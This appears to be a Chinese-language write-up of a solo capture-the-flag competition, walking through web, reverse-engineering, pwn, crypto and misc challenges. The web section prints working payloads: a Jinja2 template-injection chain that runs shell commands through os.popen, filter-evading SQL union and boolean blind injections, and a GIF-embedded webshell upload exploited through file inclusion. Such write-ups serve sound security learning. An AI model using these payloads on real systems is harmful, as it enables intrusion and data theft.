秋季赛WP
秋季赛WP
一个人就是一支队伍
WEB
Easy-ssti
服务器模板注入,jinja2漏洞,{{7*7}}有回显说明有注入漏洞,_和[被过滤,用require函数结合attr绕过。
Jinja2模板参考
http://doc.yonyoucloud.com/doc/jinja2-docs-cn/templates.html#builtin-filters
注入语句:
{{lipsum|attr(request.args.a)|attr("get")(request.args.b)|attr("get")("e"+"val") (request.args.c)}}&a=globals&b=builtins&c=import("os").popen("cat /flag").read()
"e"+"val" ‘o’+’s’ “编码”.decode(‘base64’)绕过敏感字
Easy-sql1
常规的1’//or//1>0#和order by之后,经历一番绕过得出能运行的注入语句:
username=1'/**/union/**/(SeleCT/**/database(),2)#&password=
得到数据库名
因为=被过滤,不想麻烦绕过就直接爆出整个表名
username=1'/**/union/**/(SeleCT/**/group_concat(table_name),2/**/from/**/information_schema.tables)#&password=
查找到含flag的表名:flag_table_1
username=1'/**/union/**/(SeleCT/**/FLAG,2/**/from/**/flag_table_1)#&password=
得flag
Easy-ez_upload
用御剑扫描目录
访问/robot.txt
得文件上传地址,只允许图片上传。用一句话木马攻击,尝试各种方法都没法上传成php格式后,尝试图马。一开始直接把一句话木马写在图片末尾,上传后发现被过滤掉了,考虑二次渲染。网上说png、jpeg不好改,用gif改。用winhex对比原gif和二次渲染过的gif找出相同的字段,插入木马。
上传图片,木马没有被过滤,但图片还是以gif格式解析,蚁剑无法连接…卡了好久之后看原来黑屏的网页
明明有提示文件包含我却没看…
利用文件包含漏洞,使gif以php格式解析,访问
蚁剑终于连接成功
找不到flag文件,用命令行试试
找到flag
Medium-web4
布尔盲注,感觉出题人应该是个好人,所以猜测是同一个库,尝试题目sql1的注入语句
username=1'/**/union/**/(SeleCT/**/FLAG,2/**/from/**/flag_table_1)#&password=
回显是good,说明猜对了
username=1'or(length(database())>6)#&password= good
username=1'or(length(database())>7)#&password= try again
库名长度为7,猜应该是cumtctf,脚本爆破验证一下
没猜错,因为sql1的语句回显是good,猜测flag还是在flag_table_1
因为=被过滤,判断字符用<和>绕过
username=1'or(select(ascii(mid((select(flag)from(flag_table_1)limit/**/0,1),1,
1)))>0)%26%26(select(ascii(mid((select(flag)from(flag_table_1)limit/**/0,1),1,
1)))<125)#&password=
回显good,说明又猜对了,上脚本爆破得flag(脚本绕过语句存在注释符,所以和手注有区别,绕过空格不能用/**/,而用/!/),flag长度猜大一点
RE
Easy-签到
ida常规通过字符串找到函数
16进制解码得flag
Easy-net
提示net,因为没有.net环境,无法看运行情况,但用ILSpy能直接反编译函数
大致意思就是一个字符串经过一系列运算,能经过最后一个if判断。逆向爆破可以得到这个字符串,问题是不知道字符串长度。但经过算法OJ题的轮番折磨,我知道array2[j]里的j不能超过该数组长度28(array2有28个数),所以j最大值即字符串长度为28。
这就好办了,上脚本爆破得flag
PWN
Easy-pwn1
Nc一下,cat flag
Easy-pwn2
标准栈溢出,buf是0x40h但要读入0x60h的数据,参考攻防世界栈溢出的题解写脚本
Call system地址
填充0x48覆盖buf和push内容,再覆盖返回地址,脚本:
执行
Easy-pwn3
exeinfo查了一下, 32位
用ida32打开,通过字符串找到函数
查资料时发现博客
(10条消息) BUUCTF-PWN刷题记录-6_L.o.W的博客-CSDN博客
不能说毫无相关,简直就是一模一样…
先填充满缓冲区,泄露ebp,然后使用栈迁移执行system,运行得flag
Crypto
Easy-签到
逆向爆破,懒得判断数字和符号,爆出来再加上就是flag
脚本
加上数字和符号
Easy-lcg
LCG就是线性同余法,得到的是弱伪随机数,参考lcg教程
http://www.manongjc.com/detail/22-hpzrquvdaforjqj.html
参考里面的脚本,运行得到flag
Misc
Easy-签到
base32解密
Easy-LSB?
LSB隐写,Stegslove多次尝试修改低位的0、1,如图拿到flag
Easy-压缩包
有点阴间的题目,第一个压缩包就是伪加密,HXD打开修改全局方式位标记为00 00,能够打开压缩包,得到下一个压缩包。HXD查看是真加密,根据提示用ziperello爆破得密码
又得到了真两个加密文件,卡了好久之后想起加密的图在别的题里有原图,对比两这的冗余码,确认是同一个文件。一个已知解密文件和一个相同的加密文件不就是明文攻击嘛。
把已知图片压缩成包,ARCHPR明文攻击得密码,解开的flag
Easy-加密?
套娃加密题,图片是福尔摩斯密码,解密得到密码SHERLOCK
第二个压缩包的txt文件是零宽字符加密,解密得密码
打开flag文件, base16解密
Medium-社工?
一开始用微信QQ扫码都没用,就着jpeg研究了好久还是解不出,直到我知道一个叫中国编码的东东…
WANG/JIA就是这个人的名字,也就拿到了flag